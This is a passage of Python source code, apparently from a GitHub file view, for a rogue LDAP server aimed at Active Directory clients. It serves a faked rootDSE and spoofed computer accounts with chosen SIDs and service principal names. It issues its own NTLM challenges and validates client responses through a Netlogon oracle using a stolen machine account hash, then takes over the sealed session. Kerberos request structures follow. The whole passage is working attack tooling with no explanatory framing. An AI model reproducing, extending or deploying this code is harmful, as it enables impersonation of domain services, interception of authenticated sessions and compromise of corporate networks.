                "supportedSASLMechanisms":["GSSAPI","GSS-SPNEGO","EXTERNAL","DIGEST-MD5"],
                "supportedLDAPVersion":["3","2"],
                "supportedCapabilities":["1.2.840.113556.1.4.800","1.2.840.113556.1.4.1670",
                                          "1.2.840.113556.1.4.1791","1.2.840.113556.1.4.1935"],
                "domainFunctionality":["7"],"forestFunctionality":["7"],
                "domainControllerFunctionality":["7"]}

    def _principal(self, sam):
        return {"objectClass":["top","person","organizationalPerson","user","computer"],
                "cn":[self.ecn or sam.rstrip("$")], "sAMAccountName":[self.esam or sam],
                "objectSid":[self.tsid], "objectGUID":[b"\x00"*16], "userAccountControl":["66048"],
                "objectCategory":[f"CN=Computer,CN=Schema,CN=Configuration,{self.dn}"],
                "dNSHostName":[self.edns],
                "servicePrincipalName":[f"HOST/{self.edns}", f"HOST/{self.ecn or self._hnb}"]}

    def _seal(self, st, pdu):
        sealed, sig = ntlm.SEAL(st.fl, st.ss, b"", pdu, pdu, st.sseq, st.se.encrypt)
        st.sseq += 1; f = sig.getData() + sealed
        return struct.pack(">I", len(f)) + f

    def _send(self, conn, st, data, do_seal):
        if do_seal and st.sealed: conn.send(self._seal(st, data))
        else: conn.send(data)

    def _handle_bind(self, conn, st, mid, od, rs):
        off = 0
        if od[off] != 0x02: return
        vl, off = _dl(od, off + 1); off += vl; off += 1
        nl2, off = _dl(od, off); off += nl2
        at = od[off]
        if at == 0xa3:
            off += 1; sl, off = _dl(od, off)
            if od[off] != 0x04: return
            ml, off = _dl(od, off + 1); mech = od[off:off+ml].decode("utf-8", errors="replace"); off += ml
            creds = b""
            if off < len(od) and od[off] == 0x04:
                cl, off = _dl(od, off + 1); creds = od[off:off+cl]
            if mech in ("GSS-SPNEGO","GSSAPI") and creds.startswith(b"NTLMSSP\x00") and len(creds) >= 12:
                mt = int.from_bytes(creds[8:12], "little")
                if mt == 1:
                    st.chal = os.urandom(8)
                    ch = build_challenge(self.dnb, self.ddns, self._hnb, self._hdns, st.chal)
                    self._send(conn, st, _lbr(mid, 14, ch), rs); return
                if mt == 3:
                    nlo = NLOracle(self.dcip, self.cname, self.chash, self.cdom)
                    try: nlo.setup(); sk, err, fl = nlo.validate(creds, st.chal)
                    except Exception:
                        self._send(conn, st, _lbr(mid, 49), rs); return
                    if err != 0:
                        self._send(conn, st, _lbr(mid, 49), rs); return
                    st.arm(sk, fl)
                    self._send(conn, st, _lbr(mid, 0), rs); return
        self._send(conn, st, _lbr(mid, 0), rs)

    def _handle_search(self, conn, st, mid, od, rs):
        off = 0
        if od[off] != 0x04: return
        dl2, off = _dl(od, off + 1); bdn = od[off:off+dl2].decode("utf-8", errors="replace")
        if bdn == "":
            self._send(conn, st, _lse(mid, "", self._rootdse()), rs)
            self._send(conn, st, _lsd(mid, 0), rs); return
        sam = self.esam or "X$"
        fr = bdn.split(",")[0]
        if "=" in fr:
            cv = fr.split("=", 1)[1]
            sam = cv if cv.endswith("$") else cv + "$"
        self._send(conn, st, _lse(mid, bdn, self._principal(sam)), rs)
        self._send(conn, st, _lsd(mid, 0), rs)

    def _dispatch(self, conn, st, msg, rs):
        mid, tag, od = _plh(msg)
        if tag == 0x60: self._handle_bind(conn, st, mid, od, rs)
        elif tag == 0x63: self._handle_search(conn, st, mid, od, rs)

    def _client(self, conn):
        conn.settimeout(30); st = ConnState(); buf = b""
        try:
            while True:
                chunk = conn.recv(8192)
                if not chunk: break
                buf += chunk
                while buf:
                    if not st.sealed:
                        if not buf or buf[0] != 0x30 or len(buf) < 2: break
                        sl, o = _dl(buf, 1); total = o + sl
                        if len(buf) < total: break
                        self._dispatch(conn, st, buf[:total], False); buf = buf[total:]
                    else:
                        if len(buf) < 4: break
                        fl = struct.unpack(">I", buf[:4])[0]
                        if len(buf) < 4 + fl: break
                        framed = buf[4:4+fl]; buf = buf[4+fl:]
                        plain = st.ce.encrypt(framed[16:])
                        p = 0
                        while p < len(plain):
                            if plain[p] != 0x30: break
                            sl2, so = _dl(plain, p + 1); t = so + sl2
                            if p + t > len(plain): break
                            self._dispatch(conn, st, plain[p:p+t], True); p += t
        except: pass
        finally:
            try: conn.close()
            except: pass

    def serve(self, bind="0.0.0.0", port=389):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((bind, port)); s.listen(8)
        while True:
            conn, _ = s.accept()
            threading.Thread(target=self._client, args=(conn,), daemon=True).start()


class _NameType:
    PRINCIPAL = 1; SRV_INST = 2

class _SeqGS(core.SequenceOf):
    _child_spec = core.GeneralString

class _PrincipalName(core.Sequence):
    _fields = [("name-type", core.Integer, {"tag_type": TAG, "tag": 0}),
               ("name-string", _SeqGS, {"tag_type": TAG, "tag": 1})]

class _EncType:
    AES256 = 18; AES128 = 17

class _KDCOpts(core.BitString):
    _map = {1:"forwardable", 8:"renewable", 27:"renewable-ok"}
Showing 500 of 987 lines View full file on GitHub →